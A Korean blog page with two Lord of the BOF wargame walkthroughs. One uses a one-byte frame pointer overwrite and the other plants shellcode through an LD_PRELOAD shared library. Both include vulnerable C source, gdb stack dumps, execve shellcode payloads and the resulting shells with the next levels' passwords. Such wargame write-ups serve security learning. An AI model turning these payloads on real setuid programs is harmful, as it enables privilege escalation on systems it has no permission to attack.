'hacking' 카테고리의 다른 글
| putty에서 connection timed out 뜰 때(lob, ftz) (0) | 2017.09.17 |
|---|
| putty에서 connection timed out 뜰 때(lob, ftz) (0) | 2017.09.17 |
|---|
반 넘게 달렸다
오늘은 FPO에 대해 간단하게 알아보자
FPO는 buffer+1만큼 쓸 수 있는 공간이 있고, main 외의 다른 함수가 있을 때 쓸 수 있는 기법이다
ebp는 스택 프레임의 한 기준점을 저장하고, esp는 ebp를 기준으로 증가해 다음 스택 포인터를 지정한다
그리고 eip는 다음 실행할 명령의 주소를 저장한다
main() 안에 함수 sub()가 있다고 쳐 보자
우선 main()이 호출되고 그 다음 main() 에서 sub()가 호출된다
여기서 내가 1바이트를 변경하면 sub()의 sfp부분의 값이 변경된다
이젠 이 sub()가 종료되면서 leave를 수행하게 될 것이다
leave는 esp 값을 ebp(sfp)가 있는 곳으로 이동시킨 후, sfp 값을 ebp에 저장하는 것이다.
따라서 leave가 수행되면 sfp에 들어있던 main()의 ebp 값이 현재의 ebp 값에 저장되고, esp 값은 sfp를 가르키고 있다가 pop ebp 명령을 만나 4가 증가한다. 이렇게 ret을 가르키게 되는 것이다
이때 esp는 sub()의 ebp, 즉 sfp를 가르키게 될 것이고, pop ebp, 즉, main()의
ebp를 돌려 받는 과정에서 변경된 sfp값을 가져오게 되므로 main()의 ebp는 다른 곳을 가르키게 된다
자세한 문서는 요기
그럼 이 문서를 이해했다는 가정 하에 문제를 풀어보자
#include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); } |
FPO 기법을 쓸 수 있는 코드이다
(gdb) b *problem_child+24 (gdb) r `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'` Starting program: /tmp/darkknight `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'` Breakpoint 1, 0x8048458 in problem_child () (gdb) x/100x $esp 0xbffffa74: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa84: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa94: 0x41414141 0x41414141 0xbffffa00 0x0804849e 0xbffffaa4: 0xbffffbf8 0xbffffac8 0x400309cb 0x00000003 0xbffffab4: 0xbffffaf4 0xbffffb04 0x40013868 0x00000003 0xbffffac4: 0x08048390 0x00000000 0x080483b1 0x0804846c 0xbffffad4: 0x00000003 0xbffffaf4 0x080482e4 0x080484dc 0xbffffae4: 0x4000ae60 0xbffffaec 0x40013e90 0x00000003 ... |
argv[1]에는 A(dummy) 40개와 sfp에 넣을 주소를 가정해서 \x00을 넣어주고
argv[2]에는 nop을 많이많이 넣어준다
[golem@localhost /tmp]$ ./darkkn1ght `python -c 'print "A"*41'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒C▒▒▒▒▒▒▒ @ bffffac4 |
정확한 주소를 알아내기 위해 새롭게 파일 하나를 만들어서 buffer의 주소를 출력하게 해 놓았다
[golem@localhost golem]$ ./darkknight `python -c 'print "\xcc\xfa\xff\xbf"*2+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xc4"'` ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ ̀▒▒▒▒▒C▒▒▒▒▒▒▒ @ bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker bash$ |
페이로드를 설명하자면
buffer 첫 주소를 두 번 넣고(8bytes) nop 7bytes 쉘코드 25bytes를 넣고(합쳐서 40bytes)
마지막 1byte를 버퍼의 첫 주소로 넣어준다
여기서 페이로드 처음에 주소를 두 번 넣은 이유는
leave-ret이 한 번 일어나면서 EBP가 변조된 EBP로 이동되는데, 한번 더 leave-ret을 하면 pop ebp를 실행한다. 이 때 ret에서 pop을 할 경우 BUF의 첫 4바이트를 참조해야 하기 때문이다.
피드백은 댓글로
| lob skeleton->golem(level11) + 공유라이브러리 (0) | 2017.09.24 |
|---|---|
| lob goblin->orc(level4) (0) | 2017.09.17 |
| lob gate->gremlin(level1) (0) | 2017.09.17 |
| ftz level20 + Format String bug(FSB) (0) | 2017.09.10 |
먼저 공유 라이브러리에 대해 알아보자
라이브러리는 자주 사용되는 기능을 main 함수와 분리시킨다
라이브러리를 사용하면 디버깅이 쉬워지고 컴파일 시간이 빨라지기 때문에, 더 유연한 프로그램을 만들 수 있도록 도와준다
라이브러리의 종류는 정적 라이브러리, 동적 라이브러리, 공유 라이브러리 이렇게 세 가지가 있다
공유 라이브러리는 프로그램이 시작될 때 적재되는 라이브러리이다
정적 라이브러리는 파일의 단순 모음이다. 확장자는 .a이고 컴파일 시 적재된다
유연성이 떨어지고 바이너리 크기가 크다
동적 라이브러리는 특정한 때에 적재되는 라이브러리인데, 플러그인 모듈 등을 구현할 때 적합하다고 한다
이 문제는 공유라이브러리를 이용해 푸는 문제이다
#include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } |
프로그램의 소스인데, 버퍼를 그냥 몽땅 파괴해버린다
고로 우리가 보통 쓰던 영역인 환경변수~buf까지를 쓸 수가 없게 된다(LD_PRELOAD는 환경변수지만 특별히 사용이 가능하다고 한다. 이유는 차후 추가하겠음)
[skeleton@localhost /tmp]$ gcc -shared -fPIC -o `python -c 'print "\x90"*100+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69 \x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` ./golem.c |
gcc에 처음 보는 옵션이 붙었다
-shared : 공유 라이브러리를 우선적으로 링크하게 하는 옵션
정적 라이브러리와 함께 있으면 공유 라이브러리를 우선 링크하게 해 줌
-fPIC : object file을 만들 때 심볼이 어느 위치에 있건 동작을 하도록 컴파일하라는 의미
그럼 이제 라이브러리를 만들었으니 LD_PRELOAD에 이 라이브러리를 등록하면 될 것 같다
그 전에 라이브러리의 주소를 알아내도록 하자
(gdb) b *main+166 Breakpoint 1 at 0x8048516 (gdb) r `python -c 'print "\xbf"*48'` Starting program: /tmp/./golem `python -c 'print "\xbf"*48'` ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ |
leave 부분에 브레이크를 걸어주고 프로그램의 if문에 걸리지 않게 \xbf를 48개 넣어준다
(gdb) x/500x $esp-2000 ... 0xbffff5ec: 0x90902f2e 0x90909090 0x90909090 0x90909090 0xbffff5fc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff60c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff61c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff62c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff63c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff64c: 0x90909090 0x8a689090 0x6881cee2 0x54530cb1 0xbffff65c: 0x8a6f6a68 0x690168e4 0x69686330 0x6a697430 0xbffff66c: 0x0cfe5914 0xfa79490c 0x54e1f741 0x400000c3 0xbffff67c: 0x40013868 0x4000220c 0xbffffba6 0x00000000 ... |
열심히 노가다를 해서 스택을 뒤져보면 아까 넣었던 x90이 보인다
팁을 하나 알려주자면 LD_PRELOAD에서 호출한 데이터는 ebp보다 메모리 영역이 낮은 곳에 위치하므로 스택 위치를 낮은 곳으로 잡아야 한다
어차피 nop sled를 해 놨기 때문에 맨 처음 주소를 주솟값으로 잡기로 했다
[skeleton@localhost skeleton] ./golem `python -c 'print "\xbf"*44+"\xec\xf5\xff\xbf"'` ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ bash$ id uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton) bash$ my-pass euid = 511 cup of coffee |
피드백은 댓글로
| lob golem->darknight(level12) + FPO (0) | 2017.09.27 |
|---|---|
| lob goblin->orc(level4) (0) | 2017.09.17 |
| lob gate->gremlin(level1) (0) | 2017.09.17 |
| ftz level20 + Format String bug(FSB) (0) | 2017.09.10 |